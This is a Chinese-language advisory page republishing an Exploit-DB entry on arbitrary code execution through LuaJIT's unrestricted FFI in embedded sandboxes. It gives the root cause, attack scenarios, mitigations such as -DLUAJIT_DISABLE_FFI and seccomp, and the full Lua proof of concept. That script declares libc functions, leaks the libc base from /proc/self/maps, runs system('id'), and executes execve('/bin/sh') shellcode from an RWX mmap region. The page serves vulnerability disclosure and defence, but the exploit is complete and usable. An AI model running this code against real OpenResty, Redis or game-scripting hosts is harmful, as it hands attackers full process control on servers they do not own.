[webapps] LuaJIT 2.1.1774638290 - Arbitrary Code Execution
LuaJIT FFI未禁用导致任意代码执行
Critical · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)📋 漏洞基础信息
| CVE | 未分配CVE |
|---|---|
| 漏洞类型 | 沙箱逃逸/任意代码执行 |
| 受影响版本 | LuaJIT 2.1.1774638290(及FFI未禁用的所有2.1.x版本) |
| 危害等级 | Critical · CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8) |
| 发布日期 | 2026-05-07 |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
LuaJIT的FFI模块提供对libc函数(syscall、mmap、mprotect、system等)的无限制访问,在嵌入场景中未默认禁用FFI且未从沙箱环境中移除,攻击者可利用FFI调用系统函数实现任意代码执行。
🎯 攻击场景
1. 攻击者获取嵌入LuaJIT且暴露Lua脚本执行接口(如OpenResty、Redis EVAL、游戏引擎mod)的环境;2. 通过require('ffi')加载FFI模块;3. 使用ffi.cdef声明libc函数(mmap、syscall等);4. 调用ffi.C.system('id')执行任意系统命令;5. 或通过mmap分配RWX内存、ffi.copy写入shellcode、ffi.cast为函数指针后调用,实现shellcode执行。成功标志:命令输出回显或获得交互式shell。
💥 漏洞影响
攻击者可执行任意系统命令、运行shellcode、获得进程完整权限,导致服务器沦陷、数据泄露、持久化后门、以及横向移动。
⚔️ 原始 PoC
1. 加载ffi和bit库;2. 通过ffi.cdef声明getpid、syscall、system、mmap、munmap等C函数;3. 调用ffi.C.getpid()验证libc符号调用能力;4. 调用ffi.C.syscall(39)验证直接系统调用通道;5. 读取/proc/self/maps获取libc基址绕过ASLR;6. 调用ffi.C.system('id')执行系统命令;7. 构造x86-64 execve('/bin/sh') shellcode,通过mmap分配RWX内存,ffi.copy写入,ffi.cast为函数指针后调用,获得shell。
-- Exploit Title: LuaJIT 2.1.1774638290 - Arbitrary Code Execution
-- Date: 2026-03-29
-- Exploit Author: TaurusOmar
-- Vendor Homepage: https://luajit.org/
-- Software Link: https://luajit.org/download.html
-- Version: LuaJIT 2.1.1774638290 (latest)
-- Tested on: Linux x86-64 (Arch Linux)
-- Description:
-- LuaJIT's Foreign Function Interface (FFI) provides unrestricted access
-- to native C functions including syscall(), mmap(), mprotect() and
-- arbitrary shared library loading. When FFI is accessible to untrusted
-- Lua code in embedding scenarios (OpenResty, Redis, game engines, IoT),
-- an attacker can achieve arbitrary code execution with full process
-- privileges including shellcode execution via mmap(RWX)+ffi.copy()+ffi.cast().
--
-- This affects any application embedding LuaJIT 2.1.x without explicitly
-- disabling FFI (-DLUAJIT_DISABLE_FFI) or removing it from the sandbox
-- environment before executing untrusted scripts.
--
-- Verified on LuaJIT 2.1.1774638290 (March 2026) — latest version.
--
-- Attack scenarios:
-- - OpenResty/Nginx with user-controlled Lua scripts
-- - Redis with exposed EVAL interface
-- - Game engines with Lua modding systems
-- - IoT devices with Lua scripting interface
--
-- Mitigation:
-- - Compile with -DLUAJIT_DISABLE_FFI
-- - Remove 'ffi' from sandbox environment table
-- - Apply OS-level restrictions: seccomp-bpf, AppArmor, namespaces
local ffi = require("ffi")
local bit = require("bit")
ffi.cdef[[
int getpid(void);
long syscall(long number, ...);
int system(const char *command);
void *mmap(void *addr, size_t length, int prot,
int flags, int fd, long offset);
int munmap(void *addr, size_t length);
]]
print("=" .. string.rep("=", 55))
print(" LuaJIT 2.1.x - FFI Unrestricted Syscall Access PoC")
print("=" .. string.rep("=", 55))
-- dlsym resolves libc symbols without restriction
local pid_libc = ffi.C.getpid()
print("\n[1] ffi.C.getpid() via dlsym: " .. pid_libc)
-- Direct kernel syscall channel (SYS_getpid = 39 x86-64)
local pid_sc = tonumber(ffi.C.syscall(39))
print("[2] syscall(39) direct: " .. pid_sc)
if pid_libc == pid_sc then
print("[+] Both channels confirmed active\n")
end
-- ASLR bypass via /proc/self/maps
local f = io.open("/proc/self/maps", "r")
for line in f:lines() do
if line:find("libc.so") and line:find("r--p") then
local base = tonumber("0x" .. line:match("^(%x+)"))
print("[3] libc base (ASLR bypass): 0x" .. string.format("%x", base))
break
end
end
f:close()
-- Arbitrary command execution
print("[4] ffi.C.system('id'):")
ffi.C.system("id")
-- Shellcode execution via mmap(RWX)
print("\n[5] Shellcode execution via mmap(RWX):")
local PROT_RWX = bit.bor(1, 2, 4)
local MAP_FLAGS = bit.bor(0x02, 0x20)
-- x86-64 execve("/bin/sh", NULL, NULL) - syscall 59
local shellcode =
"\x48\x31\xd2"
.. "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
.. "\x53"
.. "\x48\x89\xe7"
.. "\x48\x31\xf6"
.. "\x48\x31\xc0"
.. "\xb0\x3b"
.. "\x0f\x05"
local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_FLAGS, -1, 0)
if ffi.cast("long", mem) ~= -1 then
print(" RWX region: 0x" .. string.format("%x", ffi.cast("unsigned long", mem)))
ffi.copy(mem, shellcode, #shellcode)
print(" Shellcode written. Executing execve('/bin/sh')...")
local fn = ffi.cast("void(*)(void)", mem)
fn()
end🔬 深度技术分析
1. 加载ffi和bit库;2. 通过ffi.cdef声明getpid、syscall、system、mmap、munmap等C函数;3. 调用ffi.C.getpid()验证libc符号调用能力;4. 调用ffi.C.syscall(39)验证直接系统调用通道;5. 读取/proc/self/maps获取libc基址绕过ASLR;6. 调用ffi.C.system('id')执行系统命令;7. 构造x86-64 execve('/bin/sh') shellcode,通过mmap分配RWX内存,ffi.copy写入,ffi.cast为函数指针后调用,获得shell。
🛡️ 修复建议
1. 编译时添加-DLUAJIT_DISABLE_FFI标志完全禁用FFI;2. 运行时在执行不可信脚本前从环境表中删除'ffi'模块;3. 应用OS级限制:seccomp-bpf、AppArmor、命名空间。无官方补丁版本。
📎 参考链接
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-09 17:02 | 来源: Exploit-DB